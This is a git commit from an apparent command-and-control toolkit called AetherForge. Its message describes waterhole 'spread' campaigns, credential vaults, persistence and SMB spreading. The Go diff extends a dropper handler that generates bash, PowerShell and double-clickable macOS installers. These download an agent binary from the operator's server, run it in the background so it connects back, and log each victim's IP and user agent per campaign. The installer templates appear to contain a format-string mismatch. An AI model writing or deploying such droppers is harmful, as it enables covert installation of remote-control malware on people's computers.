feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -17,6 +17,9 @@ import (
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
// GET /install.sh — bash one-liner installer (Linux / macOS)
// GET /install.ps1 — PowerShell one-liner installer (Windows)
// GET /install.command — macOS double-click launcher (curl | bash wrapper)
//
// Query params: ?os=windows|linux|darwin|universal ?pin={build_id} ?c={campaign}
type DropperHandler struct {
db *dbpkg.Database
dataDir string
@@ -63,24 +66,70 @@ func detectPlatform(r *http.Request) string {
return "" // caller will fall back to latest build regardless of platform
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
platform := detectPlatform(r)
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
}
}
// Try exact platform match, then fall back to universal, then any.
func dropperQueryParts(r *http.Request) []string {
q := r.URL.Query()
var parts []string
if pin := strings.TrimSpace(q.Get("pin")); pin != "" {
parts = append(parts, "pin="+pin)
}
if c := strings.TrimSpace(q.Get("c")); c != "" {
parts = append(parts, "c="+c)
}
return parts
}
func (h *DropperHandler) querySuffix(r *http.Request) string {
parts := dropperQueryParts(r)
if len(parts) == 0 {
return ""
}
return "?" + strings.Join(parts, "&")
}
func (h *DropperHandler) getExtraQuery(r *http.Request) string {
parts := dropperQueryParts(r)
if len(parts) == 0 {
return ""
}
return "&" + strings.Join(parts, "&")
}
// resolveDropperBuild picks a build from ?pin= or platform heuristics.
func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) {
if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" {
b, err := h.db.GetBuild(pin)
if err == nil && b != nil {
path, name := resolveDropperArtifact(h.dataDir, b)
return b, path, name
}
}
platform := detectPlatform(r)
candidates := []string{platform, "universal", ""}
if platform == "" {
candidates = []string{"universal", ""}
}
var buildPath, buildName string
for _, p := range candidates {
b, err := h.db.GetLatestBuildForPlatform(p)
if err == nil && b != nil {
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
break
path, name := resolveDropperArtifact(h.dataDir, b)
return b, path, name
}
}
return nil, "", ""
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
b, buildPath, buildName := h.resolveDropperBuild(r)
if b != nil {
h.logCampaign(r, b.ID, "get")
}
if buildPath == "" {
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.WriteHeader(http.StatusNotFound)
@@ -96,9 +145,18 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, buildPath)
}
func campaignEnvBlock(campaign string) string {
if campaign == "" {
return ""
}
return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign)
}
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.sh")
script := fmt.Sprintf(`#!/bin/sh
# AetherForge agent installer
@@ -109,6 +167,7 @@ set -e
die() { echo "[!] $*" >&2; exit 1; }
%s
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$ARCH" in
@@ -123,7 +182,7 @@ DEST="$TMPDIR/worker"
# Download and verify we got a real file, not a 404 page.
# Note: double-quotes around URL so $OS is expanded by the shell.
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")"
if [ "$HTTP_CODE" != "200" ]; then
cat "$DEST" >&2
die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
@@ -152,7 +211,7 @@ chmod +x "$DEST"
echo "[*] Launching agent..."
nohup "$DEST" >/dev/null 2>&1 &
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
`, base)
`, base, h.getExtraQuery(r), campaignEnvBlock(campaign))
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
@@ -162,16 +221,25 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.ps1")
// Build script as a regular string — backtick in Go raw strings conflicts
// with PowerShell's escape character.
bt := "`"
nl := "\r\n"
campaignBlock := ""
if campaign != "" {
campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl +
"$env:AETHER_UTM = '" + campaign + "'" + nl + nl
}
script := "# AetherForge dropper" + nl +
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
"$url = '" + base + "/get?os=windows'" + nl +
campaignBlock +
"$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
"try {" + nl +
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
@@ -199,6 +267,25 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, script)
}
// ServeCommand handles GET /install.command — macOS double-clickable shell script.
func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
suffix := h.querySuffix(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.command")
script := fmt.Sprintf(`#!/bin/bash
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
set -e
%[2]s
curl -sL '%[1]s/install.sh%[3]s' | bash
`, base, campaignEnvBlock(campaign), suffix)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.command"`)
fmt.Fprint(w, script)
}
// resolveBase returns the public base URL for script generation, falling back
// to the request's Host header when no public URL is configured.
func (h *DropperHandler) resolveBase(r *http.Request) string {